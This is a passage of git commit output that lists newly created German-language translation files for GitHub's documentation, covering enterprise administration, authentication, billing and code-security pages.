 create mode 100644 translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/searching-the-audit-log-for-your-enterprise.md
 create mode 100644 translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/streaming-the-audit-log-for-your-enterprise.md
 create mode 100644 translations/de-DE/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/using-the-audit-log-api-for-your-enterprise.md
 create mode 100644 translations/de-DE/content/admin/overview/about-data-residency.md
 create mode 100644 translations/de-DE/content/admin/overview/about-enterprise-accounts.md
 create mode 100644 translations/de-DE/content/admin/overview/about-github-ae.md
 create mode 100644 translations/de-DE/content/admin/overview/about-github-enterprise-server.md
 create mode 100644 translations/de-DE/content/admin/overview/about-github-for-enterprises.md
 create mode 100644 translations/de-DE/content/admin/overview/about-the-github-enterprise-api.md
 create mode 100644 translations/de-DE/content/admin/overview/about-upgrades-to-new-releases.md
 create mode 100644 translations/de-DE/content/admin/overview/accessing-compliance-reports-for-your-enterprise.md
 create mode 100644 translations/de-DE/content/admin/overview/creating-an-enterprise-account.md
 create mode 100644 translations/de-DE/content/admin/overview/index.md
 create mode 100644 translations/de-DE/content/admin/overview/system-overview.md
 create mode 100644 translations/de-DE/content/admin/packages/configuring-package-ecosystem-support-for-your-enterprise.md
 create mode 100644 translations/de-DE/content/admin/packages/enabling-github-packages-with-aws.md
 create mode 100644 translations/de-DE/content/admin/packages/enabling-github-packages-with-azure-blob-storage.md
 create mode 100644 translations/de-DE/content/admin/packages/enabling-github-packages-with-minio.md
 create mode 100644 translations/de-DE/content/admin/packages/getting-started-with-github-packages-for-your-enterprise.md
 create mode 100644 translations/de-DE/content/admin/packages/index.md
 create mode 100644 translations/de-DE/content/admin/packages/migrating-your-enterprise-to-the-container-registry-from-the-docker-registry.md
 create mode 100644 translations/de-DE/content/admin/packages/quickstart-for-configuring-your-minio-storage-bucket-for-github-packages.md
 create mode 100644 translations/de-DE/content/admin/policies/enforcing-policies-for-your-enterprise/about-enterprise-policies.md
 create mode 100644 translations/de-DE/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-dependency-insights-in-your-enterprise.md
 create mode 100644 translations/de-DE/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise.md
 create mode 100644 translations/de-DE/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-personal-access-tokens-in-your-enterprise.md
 create mode 100644 translations/de-DE/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-projects-in-your-enterprise.md
 create mode 100644 translations/de-DE/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise.md
 create mode 100644 translations/de-DE/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise.md
 create mode 100644 translations/de-DE/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-team-policies-in-your-enterprise.md
 create mode 100644 translations/de-DE/content/admin/policies/enforcing-policies-for-your-enterprise/index.md
 create mode 100644 translations/de-DE/content/admin/policies/enforcing-policies-for-your-enterprise/restricting-email-notifications-for-your-enterprise.md
 create mode 100644 translations/de-DE/content/admin/policies/enforcing-policy-with-pre-receive-hooks/about-pre-receive-hooks.md
 create mode 100644 translations/de-DE/content/admin/policies/enforcing-policy-with-pre-receive-hooks/creating-a-pre-receive-hook-environment.md
 create mode 100644 translations/de-DE/content/admin/policies/enforcing-policy-with-pre-receive-hooks/creating-a-pre-receive-hook-script.md
 create mode 100644 translations/de-DE/content/admin/policies/enforcing-policy-with-pre-receive-hooks/index.md
 create mode 100644 translations/de-DE/content/admin/policies/enforcing-policy-with-pre-receive-hooks/managing-pre-receive-hooks-on-the-github-enterprise-server-appliance.md
 create mode 100644 translations/de-DE/content/admin/policies/index.md
 create mode 100644 translations/de-DE/content/admin/release-notes.md
 create mode 100644 translations/de-DE/content/admin/user-management/index.md
 create mode 100644 translations/de-DE/content/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise.md
 create mode 100644 translations/de-DE/content/admin/user-management/managing-organizations-in-your-enterprise/adding-people-to-teams.md
 create mode 100644 translations/de-DE/content/admin/user-management/managing-organizations-in-your-enterprise/configuring-visibility-for-organization-membership.md
 create mode 100644 translations/de-DE/content/admin/user-management/managing-organizations-in-your-enterprise/continuous-integration-using-jenkins.md
 create mode 100644 translations/de-DE/content/admin/user-management/managing-organizations-in-your-enterprise/creating-teams.md
 create mode 100644 translations/de-DE/content/admin/user-management/managing-organizations-in-your-enterprise/index.md
 create mode 100644 translations/de-DE/content/admin/user-management/managing-organizations-in-your-enterprise/managing-projects-using-jira.md
 create mode 100644 translations/de-DE/content/admin/user-management/managing-organizations-in-your-enterprise/managing-your-role-in-an-organization-owned-by-your-enterprise.md
 create mode 100644 translations/de-DE/content/admin/user-management/managing-organizations-in-your-enterprise/preventing-users-from-creating-organizations.md
 create mode 100644 translations/de-DE/content/admin/user-management/managing-organizations-in-your-enterprise/removing-organizations-from-your-enterprise.md
 create mode 100644 translations/de-DE/content/admin/user-management/managing-organizations-in-your-enterprise/removing-users-from-teams-and-organizations.md
 create mode 100644 translations/de-DE/content/admin/user-management/managing-organizations-in-your-enterprise/requiring-two-factor-authentication-for-an-organization.md
 create mode 100644 translations/de-DE/content/admin/user-management/managing-organizations-in-your-enterprise/restoring-a-deleted-organization.md
 create mode 100644 translations/de-DE/content/admin/user-management/managing-repositories-in-your-enterprise/configuring-git-large-file-storage-for-your-enterprise.md
 create mode 100644 translations/de-DE/content/admin/user-management/managing-repositories-in-your-enterprise/disabling-git-ssh-access-on-your-enterprise.md
 create mode 100644 translations/de-DE/content/admin/user-management/managing-repositories-in-your-enterprise/index.md
 create mode 100644 translations/de-DE/content/admin/user-management/managing-repositories-in-your-enterprise/migrating-to-internal-repositories.md
 create mode 100644 translations/de-DE/content/admin/user-management/managing-repositories-in-your-enterprise/restoring-a-deleted-repository.md
 create mode 100644 translations/de-DE/content/admin/user-management/managing-repositories-in-your-enterprise/troubleshooting-service-hooks.md
 create mode 100644 translations/de-DE/content/admin/user-management/managing-users-in-your-enterprise/auditing-ssh-keys.md
 create mode 100644 translations/de-DE/content/admin/user-management/managing-users-in-your-enterprise/auditing-users-across-your-enterprise.md
 create mode 100644 translations/de-DE/content/admin/user-management/managing-users-in-your-enterprise/best-practices-for-user-security.md
 create mode 100644 translations/de-DE/content/admin/user-management/managing-users-in-your-enterprise/customizing-user-messages-for-your-enterprise.md
 create mode 100644 translations/de-DE/content/admin/user-management/managing-users-in-your-enterprise/exporting-membership-information-for-your-enterprise.md
 create mode 100644 translations/de-DE/content/admin/user-management/managing-users-in-your-enterprise/impersonating-a-user.md
 create mode 100644 translations/de-DE/content/admin/user-management/managing-users-in-your-enterprise/index.md
 create mode 100644 translations/de-DE/content/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise.md
 create mode 100644 translations/de-DE/content/admin/user-management/managing-users-in-your-enterprise/managing-dormant-users.md
 create mode 100644 translations/de-DE/content/admin/user-management/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise.md
 create mode 100644 translations/de-DE/content/admin/user-management/managing-users-in-your-enterprise/placing-a-legal-hold-on-a-user-or-organization.md
 create mode 100644 translations/de-DE/content/admin/user-management/managing-users-in-your-enterprise/promoting-or-demoting-a-site-administrator.md
 create mode 100644 translations/de-DE/content/admin/user-management/managing-users-in-your-enterprise/rebuilding-contributions-data.md
 create mode 100644 translations/de-DE/content/admin/user-management/managing-users-in-your-enterprise/removing-a-member-from-your-enterprise.md
 create mode 100644 translations/de-DE/content/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise.md
 create mode 100644 translations/de-DE/content/admin/user-management/managing-users-in-your-enterprise/suspending-and-unsuspending-users.md
 create mode 100644 translations/de-DE/content/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise.md
 create mode 100644 translations/de-DE/content/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise.md
 create mode 100644 translations/de-DE/content/admin/user-management/migrating-data-to-and-from-your-enterprise/about-migrations.md
 create mode 100644 translations/de-DE/content/admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-githubcom.md
 create mode 100644 translations/de-DE/content/admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-your-enterprise.md
 create mode 100644 translations/de-DE/content/admin/user-management/migrating-data-to-and-from-your-enterprise/importing-data-from-third-party-version-control-systems.md
 create mode 100644 translations/de-DE/content/admin/user-management/migrating-data-to-and-from-your-enterprise/index.md
 create mode 100644 translations/de-DE/content/admin/user-management/migrating-data-to-and-from-your-enterprise/migrating-data-to-your-enterprise.md
 create mode 100644 translations/de-DE/content/admin/user-management/migrating-data-to-and-from-your-enterprise/preparing-to-migrate-data-to-your-enterprise.md
 create mode 100644 translations/de-DE/content/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on.md
 create mode 100644 translations/de-DE/content/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on.md
 create mode 100644 translations/de-DE/content/authentication/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on.md
 create mode 100644 translations/de-DE/content/authentication/authenticating-with-saml-single-sign-on/index.md
 create mode 100644 translations/de-DE/content/authentication/authenticating-with-saml-single-sign-on/viewing-and-managing-your-active-saml-sessions.md
 create mode 100644 translations/de-DE/content/authentication/connecting-to-github-with-ssh/about-ssh.md
 create mode 100644 translations/de-DE/content/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account.md
 create mode 100644 translations/de-DE/content/authentication/connecting-to-github-with-ssh/checking-for-existing-ssh-keys.md
 create mode 100644 translations/de-DE/content/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent.md
 create mode 100644 translations/de-DE/content/authentication/connecting-to-github-with-ssh/index.md
 create mode 100644 translations/de-DE/content/authentication/connecting-to-github-with-ssh/testing-your-ssh-connection.md
 create mode 100644 translations/de-DE/content/authentication/connecting-to-github-with-ssh/working-with-ssh-key-passphrases.md
 create mode 100644 translations/de-DE/content/authentication/index.md
 create mode 100644 translations/de-DE/content/authentication/keeping-your-account-and-data-secure/about-anonymized-urls.md
 create mode 100644 translations/de-DE/content/authentication/keeping-your-account-and-data-secure/about-authentication-to-github.md
 create mode 100644 translations/de-DE/content/authentication/keeping-your-account-and-data-secure/about-githubs-ip-addresses.md
 create mode 100644 translations/de-DE/content/authentication/keeping-your-account-and-data-secure/authorizing-github-apps.md
 create mode 100644 translations/de-DE/content/authentication/keeping-your-account-and-data-secure/authorizing-oauth-apps.md
 create mode 100644 translations/de-DE/content/authentication/keeping-your-account-and-data-secure/connecting-with-third-party-applications.md
 create mode 100644 translations/de-DE/content/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token.md
 create mode 100644 translations/de-DE/content/authentication/keeping-your-account-and-data-secure/creating-a-strong-password.md
 create mode 100644 translations/de-DE/content/authentication/keeping-your-account-and-data-secure/githubs-ssh-key-fingerprints.md
 create mode 100644 translations/de-DE/content/authentication/keeping-your-account-and-data-secure/index.md
 create mode 100644 translations/de-DE/content/authentication/keeping-your-account-and-data-secure/preventing-unauthorized-access.md
 create mode 100644 translations/de-DE/content/authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository.md
 create mode 100644 translations/de-DE/content/authentication/keeping-your-account-and-data-secure/reviewing-your-authorized-applications-oauth.md
 create mode 100644 translations/de-DE/content/authentication/keeping-your-account-and-data-secure/reviewing-your-authorized-integrations.md
 create mode 100644 translations/de-DE/content/authentication/keeping-your-account-and-data-secure/reviewing-your-deploy-keys.md
 create mode 100644 translations/de-DE/content/authentication/keeping-your-account-and-data-secure/reviewing-your-security-log.md
 create mode 100644 translations/de-DE/content/authentication/keeping-your-account-and-data-secure/reviewing-your-ssh-keys.md
 create mode 100644 translations/de-DE/content/authentication/keeping-your-account-and-data-secure/sudo-mode.md
 create mode 100644 translations/de-DE/content/authentication/keeping-your-account-and-data-secure/token-expiration-and-revocation.md
 create mode 100644 translations/de-DE/content/authentication/keeping-your-account-and-data-secure/updating-your-github-access-credentials.md
 create mode 100644 translations/de-DE/content/authentication/managing-commit-signature-verification/about-commit-signature-verification.md
 create mode 100644 translations/de-DE/content/authentication/managing-commit-signature-verification/adding-a-gpg-key-to-your-github-account.md
 create mode 100644 translations/de-DE/content/authentication/managing-commit-signature-verification/associating-an-email-with-your-gpg-key.md
 create mode 100644 translations/de-DE/content/authentication/managing-commit-signature-verification/checking-for-existing-gpg-keys.md
 create mode 100644 translations/de-DE/content/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits.md
 create mode 100644 translations/de-DE/content/authentication/managing-commit-signature-verification/generating-a-new-gpg-key.md
 create mode 100644 translations/de-DE/content/authentication/managing-commit-signature-verification/index.md
 create mode 100644 translations/de-DE/content/authentication/managing-commit-signature-verification/signing-commits.md
 create mode 100644 translations/de-DE/content/authentication/managing-commit-signature-verification/signing-tags.md
 create mode 100644 translations/de-DE/content/authentication/managing-commit-signature-verification/telling-git-about-your-signing-key.md
 create mode 100644 translations/de-DE/content/authentication/securing-your-account-with-two-factor-authentication-2fa/about-two-factor-authentication.md
 create mode 100644 translations/de-DE/content/authentication/securing-your-account-with-two-factor-authentication-2fa/accessing-github-using-two-factor-authentication.md
 create mode 100644 translations/de-DE/content/authentication/securing-your-account-with-two-factor-authentication-2fa/changing-two-factor-authentication-delivery-methods-for-your-mobile-device.md
 create mode 100644 translations/de-DE/content/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication-recovery-methods.md
 create mode 100644 translations/de-DE/content/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication.md
 create mode 100644 translations/de-DE/content/authentication/securing-your-account-with-two-factor-authentication-2fa/countries-where-sms-authentication-is-supported.md
 create mode 100644 translations/de-DE/content/authentication/securing-your-account-with-two-factor-authentication-2fa/disabling-two-factor-authentication-for-your-personal-account.md
 create mode 100644 translations/de-DE/content/authentication/securing-your-account-with-two-factor-authentication-2fa/index.md
 create mode 100644 translations/de-DE/content/authentication/securing-your-account-with-two-factor-authentication-2fa/recovering-your-account-if-you-lose-your-2fa-credentials.md
 create mode 100644 translations/de-DE/content/authentication/troubleshooting-commit-signature-verification/checking-your-commit-and-tag-signature-verification-status.md
 create mode 100644 translations/de-DE/content/authentication/troubleshooting-commit-signature-verification/index.md
 create mode 100644 translations/de-DE/content/authentication/troubleshooting-commit-signature-verification/using-a-verified-email-address-in-your-gpg-key.md
 create mode 100644 translations/de-DE/content/authentication/troubleshooting-ssh/deleted-or-missing-ssh-keys.md
 create mode 100644 translations/de-DE/content/authentication/troubleshooting-ssh/error-agent-admitted-failure-to-sign.md
 create mode 100644 translations/de-DE/content/authentication/troubleshooting-ssh/error-bad-file-number.md
 create mode 100644 translations/de-DE/content/authentication/troubleshooting-ssh/error-key-already-in-use.md
 create mode 100644 translations/de-DE/content/authentication/troubleshooting-ssh/error-permission-denied-publickey.md
 create mode 100644 translations/de-DE/content/authentication/troubleshooting-ssh/error-permission-to-userrepo-denied-to-other-user.md
 create mode 100644 translations/de-DE/content/authentication/troubleshooting-ssh/error-permission-to-userrepo-denied-to-userother-repo.md
 create mode 100644 translations/de-DE/content/authentication/troubleshooting-ssh/error-ssh-add-illegal-option----k.md
 create mode 100644 translations/de-DE/content/authentication/troubleshooting-ssh/error-ssl-certificate-problem-verify-that-the-ca-cert-is-ok.md
 create mode 100644 translations/de-DE/content/authentication/troubleshooting-ssh/error-unknown-key-type.md
 create mode 100644 translations/de-DE/content/authentication/troubleshooting-ssh/error-were-doing-an-ssh-key-audit.md
 create mode 100644 translations/de-DE/content/authentication/troubleshooting-ssh/index.md
 create mode 100644 translations/de-DE/content/authentication/troubleshooting-ssh/recovering-your-ssh-key-passphrase.md
 create mode 100644 translations/de-DE/content/authentication/troubleshooting-ssh/using-ssh-over-the-https-port.md
 create mode 100644 translations/de-DE/content/billing/index.md
 create mode 100644 translations/de-DE/content/billing/managing-billing-for-git-large-file-storage/about-billing-for-git-large-file-storage.md
 create mode 100644 translations/de-DE/content/billing/managing-billing-for-git-large-file-storage/downgrading-git-large-file-storage.md
 create mode 100644 translations/de-DE/content/billing/managing-billing-for-git-large-file-storage/index.md
 create mode 100644 translations/de-DE/content/billing/managing-billing-for-git-large-file-storage/upgrading-git-large-file-storage.md
 create mode 100644 translations/de-DE/content/billing/managing-billing-for-git-large-file-storage/viewing-your-git-large-file-storage-usage.md
 create mode 100644 translations/de-DE/content/billing/managing-billing-for-github-actions/about-billing-for-github-actions.md
 create mode 100644 translations/de-DE/content/billing/managing-billing-for-github-actions/index.md
 create mode 100644 translations/de-DE/content/billing/managing-billing-for-github-actions/managing-your-spending-limit-for-github-actions.md
 create mode 100644 translations/de-DE/content/billing/managing-billing-for-github-actions/viewing-your-github-actions-usage.md
 create mode 100644 translations/de-DE/content/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security.md
 create mode 100644 translations/de-DE/content/billing/managing-billing-for-github-advanced-security/index.md
 create mode 100644 translations/de-DE/content/billing/managing-billing-for-github-advanced-security/viewing-your-github-advanced-security-usage.md
 create mode 100644 translations/de-DE/content/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces.md
 create mode 100644 translations/de-DE/content/billing/managing-billing-for-github-codespaces/index.md
 create mode 100644 translations/de-DE/content/billing/managing-billing-for-github-codespaces/viewing-your-github-codespaces-usage.md
 create mode 100644 translations/de-DE/content/billing/managing-billing-for-github-copilot/about-billing-for-github-copilot.md
 create mode 100644 translations/de-DE/content/billing/managing-billing-for-github-copilot/index.md
 create mode 100644 translations/de-DE/content/billing/managing-billing-for-github-copilot/managing-your-github-copilot-subscription.md
 create mode 100644 translations/de-DE/content/billing/managing-billing-for-github-marketplace-apps/about-billing-for-github-marketplace.md
 create mode 100644 translations/de-DE/content/billing/managing-billing-for-github-marketplace-apps/canceling-a-github-marketplace-app.md
 create mode 100644 translations/de-DE/content/billing/managing-billing-for-github-marketplace-apps/downgrading-the-billing-plan-for-a-github-marketplace-app.md
 create mode 100644 translations/de-DE/content/billing/managing-billing-for-github-marketplace-apps/index.md
 create mode 100644 translations/de-DE/content/billing/managing-billing-for-github-marketplace-apps/upgrading-the-billing-plan-for-a-github-marketplace-app.md
 create mode 100644 translations/de-DE/content/billing/managing-billing-for-github-packages/about-billing-for-github-packages.md
 create mode 100644 translations/de-DE/content/billing/managing-billing-for-github-packages/index.md
 create mode 100644 translations/de-DE/content/billing/managing-billing-for-github-packages/managing-your-spending-limit-for-github-packages.md
 create mode 100644 translations/de-DE/content/billing/managing-billing-for-github-packages/viewing-your-github-packages-usage.md
 create mode 100644 translations/de-DE/content/billing/managing-billing-for-github-sponsors/about-billing-for-github-sponsors.md
 create mode 100644 translations/de-DE/content/billing/managing-billing-for-github-sponsors/downgrading-a-sponsorship.md
 create mode 100644 translations/de-DE/content/billing/managing-billing-for-github-sponsors/index.md
 create mode 100644 translations/de-DE/content/billing/managing-billing-for-github-sponsors/upgrading-a-sponsorship.md
 create mode 100644 translations/de-DE/content/billing/managing-billing-for-your-github-account/about-billing-for-github-accounts.md
 create mode 100644 translations/de-DE/content/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise.md
 create mode 100644 translations/de-DE/content/billing/managing-billing-for-your-github-account/about-per-user-pricing.md
 create mode 100644 translations/de-DE/content/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise.md
 create mode 100644 translations/de-DE/content/billing/managing-billing-for-your-github-account/discounted-subscriptions-for-github-accounts.md
 create mode 100644 translations/de-DE/content/billing/managing-billing-for-your-github-account/downgrading-your-github-subscription.md
 create mode 100644 translations/de-DE/content/billing/managing-billing-for-your-github-account/how-does-upgrading-or-downgrading-affect-the-billing-process.md
 create mode 100644 translations/de-DE/content/billing/managing-billing-for-your-github-account/index.md
 create mode 100644 translations/de-DE/content/billing/managing-billing-for-your-github-account/managing-invoices-for-your-enterprise.md
 create mode 100644 translations/de-DE/content/billing/managing-billing-for-your-github-account/one-time-payments-for-customers-in-india.md
 create mode 100644 translations/de-DE/content/billing/managing-billing-for-your-github-account/upgrading-your-github-subscription.md
 create mode 100644 translations/de-DE/content/billing/managing-billing-for-your-github-account/viewing-and-managing-pending-changes-to-your-subscription.md
 create mode 100644 translations/de-DE/content/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account.md
 create mode 100644 translations/de-DE/content/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/about-visual-studio-subscriptions-with-github-enterprise.md
 create mode 100644 translations/de-DE/content/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/index.md
 create mode 100644 translations/de-DE/content/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/setting-up-visual-studio-subscriptions-with-github-enterprise.md
 create mode 100644 translations/de-DE/content/billing/managing-your-github-billing-settings/about-billing-on-github.md
 create mode 100644 translations/de-DE/content/billing/managing-your-github-billing-settings/adding-information-to-your-receipts.md
 create mode 100644 translations/de-DE/content/billing/managing-your-github-billing-settings/adding-or-editing-a-payment-method.md
 create mode 100644 translations/de-DE/content/billing/managing-your-github-billing-settings/changing-the-duration-of-your-billing-cycle.md
 create mode 100644 translations/de-DE/content/billing/managing-your-github-billing-settings/index.md
 create mode 100644 translations/de-DE/content/billing/managing-your-github-billing-settings/redeeming-a-coupon.md
 create mode 100644 translations/de-DE/content/billing/managing-your-github-billing-settings/setting-your-billing-email.md
 create mode 100644 translations/de-DE/content/billing/managing-your-github-billing-settings/troubleshooting-a-declined-credit-card-charge.md
 create mode 100644 translations/de-DE/content/billing/managing-your-github-billing-settings/unlocking-a-locked-account.md
 create mode 100644 translations/de-DE/content/billing/managing-your-github-billing-settings/viewing-your-payment-history-and-receipts.md
 create mode 100644 translations/de-DE/content/billing/managing-your-github-billing-settings/viewing-your-subscriptions-and-billing-date.md
 create mode 100644 translations/de-DE/content/billing/managing-your-license-for-github-enterprise/about-licenses-for-github-enterprise.md
 create mode 100644 translations/de-DE/content/billing/managing-your-license-for-github-enterprise/downloading-your-license-for-github-enterprise.md
 create mode 100644 translations/de-DE/content/billing/managing-your-license-for-github-enterprise/index.md
 create mode 100644 translations/de-DE/content/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud.md
 create mode 100644 translations/de-DE/content/billing/managing-your-license-for-github-enterprise/troubleshooting-license-usage-for-github-enterprise.md
 create mode 100644 translations/de-DE/content/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server.md
 create mode 100644 translations/de-DE/content/billing/managing-your-license-for-github-enterprise/viewing-license-usage-for-github-enterprise.md
 create mode 100644 translations/de-DE/content/billing/setting-up-paid-organizations-for-procurement-companies/about-organizations-for-procurement-companies.md
 create mode 100644 translations/de-DE/content/billing/setting-up-paid-organizations-for-procurement-companies/creating-and-paying-for-an-organization-on-behalf-of-a-client.md
 create mode 100644 translations/de-DE/content/billing/setting-up-paid-organizations-for-procurement-companies/index.md
 create mode 100644 translations/de-DE/content/billing/setting-up-paid-organizations-for-procurement-companies/renewing-your-clients-paid-organization.md
 create mode 100644 translations/de-DE/content/billing/setting-up-paid-organizations-for-procurement-companies/upgrading-or-downgrading-your-clients-paid-organization.md
 create mode 100644 translations/de-DE/content/code-security/adopting-github-advanced-security-at-scale/index.md
 create mode 100644 translations/de-DE/content/code-security/adopting-github-advanced-security-at-scale/introduction-to-adopting-github-advanced-security-at-scale.md
 create mode 100644 translations/de-DE/content/code-security/adopting-github-advanced-security-at-scale/phase-1-align-on-your-rollout-strategy-and-goals.md
 create mode 100644 translations/de-DE/content/code-security/adopting-github-advanced-security-at-scale/phase-2-preparing-to-enable-at-scale.md
 create mode 100644 translations/de-DE/content/code-security/adopting-github-advanced-security-at-scale/phase-3-pilot-programs.md
 create mode 100644 translations/de-DE/content/code-security/adopting-github-advanced-security-at-scale/phase-4-create-internal-documentation.md
 create mode 100644 translations/de-DE/content/code-security/adopting-github-advanced-security-at-scale/phase-5-rollout-and-scale-code-scanning.md
 create mode 100644 translations/de-DE/content/code-security/adopting-github-advanced-security-at-scale/phase-6-rollout-and-scale-secret-scanning.md
 create mode 100644 translations/de-DE/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-alerts.md
 create mode 100644 translations/de-DE/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql.md
 create mode 100644 translations/de-DE/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning.md
 create mode 100644 translations/de-DE/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning.md
 create mode 100644 translations/de-DE/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-the-codeql-workflow-for-compiled-languages.md
 create mode 100644 translations/de-DE/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/index.md
 create mode 100644 translations/de-DE/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository.md
 create mode 100644 translations/de-DE/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/recommended-hardware-resources-for-running-codeql.md
 create mode 100644 translations/de-DE/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/running-codeql-code-scanning-in-a-container.md
 create mode 100644 translations/de-DE/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository.md
 create mode 100644 translations/de-DE/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/tracking-code-scanning-alerts-in-issues-using-task-lists.md
 create mode 100644 translations/de-DE/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/triaging-code-scanning-alerts-in-pull-requests.md
 create mode 100644 translations/de-DE/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/troubleshooting-the-codeql-workflow.md
 create mode 100644 translations/de-DE/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/viewing-code-scanning-logs.md
 create mode 100644 translations/de-DE/content/code-security/code-scanning/index.md
 create mode 100644 translations/de-DE/content/code-security/code-scanning/integrating-with-code-scanning/about-integration-with-code-scanning.md
 create mode 100644 translations/de-DE/content/code-security/code-scanning/integrating-with-code-scanning/index.md
 create mode 100644 translations/de-DE/content/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning.md
 create mode 100644 translations/de-DE/content/code-security/code-scanning/integrating-with-code-scanning/uploading-a-sarif-file-to-github.md
 create mode 100644 translations/de-DE/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system.md
 create mode 100644 translations/de-DE/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system.md
 create mode 100644 translations/de-DE/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-runner-in-your-ci-system.md
 create mode 100644 translations/de-DE/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/index.md
 create mode 100644 translations/de-DE/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system.md
 create mode 100644 translations/de-DE/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/migrating-from-the-codeql-runner-to-codeql-cli.md
 create mode 100644 translations/de-DE/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/running-codeql-runner-in-your-ci-system.md
 create mode 100644 translations/de-DE/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/troubleshooting-codeql-runner-in-your-ci-system.md
 create mode 100644 translations/de-DE/content/code-security/dependabot/dependabot-alerts/about-dependabot-alerts.md
 create mode 100644 translations/de-DE/content/code-security/dependabot/dependabot-alerts/configuring-dependabot-alerts.md
 create mode 100644 translations/de-DE/content/code-security/dependabot/dependabot-alerts/configuring-notifications-for-dependabot-alerts.md
 create mode 100644 translations/de-DE/content/code-security/dependabot/dependabot-alerts/index.md
 create mode 100644 translations/de-DE/content/code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts.md
 create mode 100644 translations/de-DE/content/code-security/dependabot/dependabot-security-updates/about-dependabot-security-updates.md
 create mode 100644 translations/de-DE/content/code-security/dependabot/dependabot-security-updates/configuring-dependabot-security-updates.md
 create mode 100644 translations/de-DE/content/code-security/dependabot/dependabot-security-updates/index.md
 create mode 100644 translations/de-DE/content/code-security/dependabot/dependabot-version-updates/about-dependabot-version-updates.md
 create mode 100644 translations/de-DE/content/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file.md
 create mode 100644 translations/de-DE/content/code-security/dependabot/dependabot-version-updates/configuring-dependabot-version-updates.md
 create mode 100644 translations/de-DE/content/code-security/dependabot/dependabot-version-updates/customizing-dependency-updates.md
 create mode 100644 translations/de-DE/content/code-security/dependabot/dependabot-version-updates/index.md
 create mode 100644 translations/de-DE/content/code-security/dependabot/dependabot-version-updates/listing-dependencies-configured-for-version-updates.md
 create mode 100644 translations/de-DE/content/code-security/dependabot/index.md
